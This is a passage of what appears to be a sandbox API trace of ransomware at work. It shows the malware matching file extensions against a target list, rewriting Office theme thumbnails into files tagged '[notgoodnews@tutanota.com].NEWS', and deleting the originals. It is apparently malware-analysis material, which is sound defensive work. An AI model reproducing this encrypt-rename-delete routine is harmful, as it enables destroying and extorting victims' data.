lstrlenW (lpString=".1cd") returned 4 [0069.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.054] lstrlenW (lpString=".jpg") returned 4 [0069.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.054] lstrlenW (lpString=".doc") returned 4 [0069.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.054] lstrlenW (lpString=".docx") returned 5 [0069.054] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.054] lstrlenW (lpString=".pdf") returned 4 [0069.054] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.054] lstrlenW (lpString=".xls") returned 4 [0069.054] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.054] lstrlenW (lpString=".xlsx") returned 5 [0069.055] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.055] lstrlenW (lpString=".ppt") returned 4 [0069.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.055] lstrlenW (lpString=".zip") returned 4 [0069.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.055] lstrlenW (lpString=".rar") returned 4 [0069.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.055] lstrlenW (lpString=".bz2") returned 4 [0069.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.055] lstrlenW (lpString=".7z") returned 3 [0069.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.055] lstrlenW (lpString=".dbf") returned 4 [0069.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.055] lstrlenW (lpString=".1cd") returned 4 [0069.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0069.055] lstrlenW (lpString=".jpg") returned 4 [0069.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.056] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0069.056] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0069.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0069.057] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=20627) returned 1 [0069.057] CloseHandle (hObject=0x1f4) returned 1 [0069.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0069.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0069.057] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0069.058] GetLastError () returned 0x0 [0069.058] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5093, lpOverlapped=0x0) returned 1 [0069.384] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0069.387] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.387] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.387] SetEndOfFile (hFile=0x214) returned 1 [0069.387] CloseHandle (hObject=0x214) returned 1 [0069.388] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.388] SetEndOfFile (hFile=0x1f4) returned 1 [0069.389] CloseHandle (hObject=0x1f4) returned 1 [0069.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.390] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0069.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.390] lstrlenW (lpString=".doc") returned 4 [0069.390] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.390] lstrlenW (lpString=".docx") returned 5 [0069.390] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.391] lstrlenW (lpString=".pdf") returned 4 [0069.391] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.391] lstrlenW (lpString=".xls") returned 4 [0069.391] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.391] lstrlenW (lpString=".xlsx") returned 5 [0069.391] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.391] lstrlenW (lpString=".ppt") returned 4 [0069.391] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.391] lstrlenW (lpString=".zip") returned 4 [0069.391] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.391] lstrlenW (lpString=".rar") returned 4 [0069.391] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.391] lstrlenW (lpString=".bz2") returned 4 [0069.391] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.391] lstrlenW (lpString=".7z") returned 3 [0069.391] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.391] lstrlenW (lpString=".dbf") returned 4 [0069.391] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.392] lstrlenW (lpString=".1cd") returned 4 [0069.392] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.392] lstrlenW (lpString=".jpg") returned 4 [0069.392] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.392] lstrlenW (lpString=".doc") returned 4 [0069.392] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.392] lstrlenW (lpString=".docx") returned 5 [0069.392] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.392] lstrlenW (lpString=".pdf") returned 4 [0069.392] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.392] lstrlenW (lpString=".xls") returned 4 [0069.392] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.392] lstrlenW (lpString=".xlsx") returned 5 [0069.392] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.392] lstrlenW (lpString=".ppt") returned 4 [0069.392] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.393] lstrlenW (lpString=".zip") returned 4 [0069.393] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.393] lstrlenW (lpString=".rar") returned 4 [0069.393] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.393] lstrlenW (lpString=".bz2") returned 4 [0069.393] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.393] lstrlenW (lpString=".7z") returned 3 [0069.393] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.393] lstrlenW (lpString=".dbf") returned 4 [0069.393] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.393] lstrlenW (lpString=".1cd") returned 4 [0069.393] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0069.393] lstrlenW (lpString=".jpg") returned 4 [0069.393] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.394] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0069.394] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0069.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0069.576] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=33009) returned 1 [0069.576] CloseHandle (hObject=0x1fc) returned 1 [0069.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0069.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0069.590] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.594] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0069.606] GetLastError () returned 0x0 [0069.606] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0069.763] WriteFile (in: hFile=0x1fc, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0069.767] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.767] WriteFile (in: hFile=0x1fc, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.767] SetEndOfFile (hFile=0x1fc) returned 1 [0069.767] CloseHandle (hObject=0x1fc) returned 1 [0069.767] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.767] SetEndOfFile (hFile=0x214) returned 1 [0069.769] CloseHandle (hObject=0x214) returned 1 [0069.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0069.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.770] lstrlenW (lpString=".doc") returned 4 [0069.770] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.770] lstrlenW (lpString=".docx") returned 5 [0069.770] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.770] lstrlenW (lpString=".pdf") returned 4 [0069.770] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.770] lstrlenW (lpString=".xls") returned 4 [0069.770] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.770] lstrlenW (lpString=".xlsx") returned 5 [0069.770] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.770] lstrlenW (lpString=".ppt") returned 4 [0069.771] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString=".zip") returned 4 [0069.771] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.771] lstrlenW (lpString=".rar") returned 4 [0069.771] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.771] lstrlenW (lpString=".bz2") returned 4 [0069.771] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.771] lstrlenW (lpString=".7z") returned 3 [0069.771] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString=".dbf") returned 4 [0069.771] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString=".1cd") returned 4 [0069.771] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString=".jpg") returned 4 [0069.771] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.771] lstrlenW (lpString=".doc") returned 4 [0069.772] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.772] lstrlenW (lpString=".docx") returned 5 [0069.772] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.772] lstrlenW (lpString=".pdf") returned 4 [0069.772] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.772] lstrlenW (lpString=".xls") returned 4 [0069.772] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.772] lstrlenW (lpString=".xlsx") returned 5 [0069.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.772] lstrlenW (lpString=".ppt") returned 4 [0069.772] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.772] lstrlenW (lpString=".zip") returned 4 [0069.772] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.772] lstrlenW (lpString=".rar") returned 4 [0069.772] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.772] lstrlenW (lpString=".bz2") returned 4 [0069.772] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.772] lstrlenW (lpString=".7z") returned 3 [0069.772] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.772] lstrlenW (lpString=".dbf") returned 4 [0069.772] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.772] lstrlenW (lpString=".1cd") returned 4 [0069.773] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0069.773] lstrlenW (lpString=".jpg") returned 4 [0069.773] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.773] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0069.773] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0069.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.080] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=31837) returned 1 [0071.080] CloseHandle (hObject=0x1ac) returned 1 [0071.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0071.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0071.081] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.081] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.082] GetLastError () returned 0x0 [0071.082] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0071.119] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0071.122] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.122] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.122] SetEndOfFile (hFile=0x1e8) returned 1 [0071.122] CloseHandle (hObject=0x1e8) returned 1 [0071.122] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.122] SetEndOfFile (hFile=0x1ac) returned 1 [0071.124] CloseHandle (hObject=0x1ac) returned 1 [0071.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.124] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0071.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.125] lstrlenW (lpString=".doc") returned 4 [0071.125] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.125] lstrlenW (lpString=".docx") returned 5 [0071.125] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.125] lstrlenW (lpString=".pdf") returned 4 [0071.125] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.125] lstrlenW (lpString=".xls") returned 4 [0071.125] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.125] lstrlenW (lpString=".xlsx") returned 5 [0071.125] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.125] lstrlenW (lpString=".ppt") returned 4 [0071.125] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0071.125] lstrlenW (lpString=".zip") returned 4 [0071.125] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.125] lstrlenW (lpString=".rar") returned 4 [0071.125] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.125] lstrlenW (lpString=".bz2") returned 4 [0071.125] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.126] lstrlenW (lpString=".7z") returned 3 [0071.126] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.126] lstrlenW 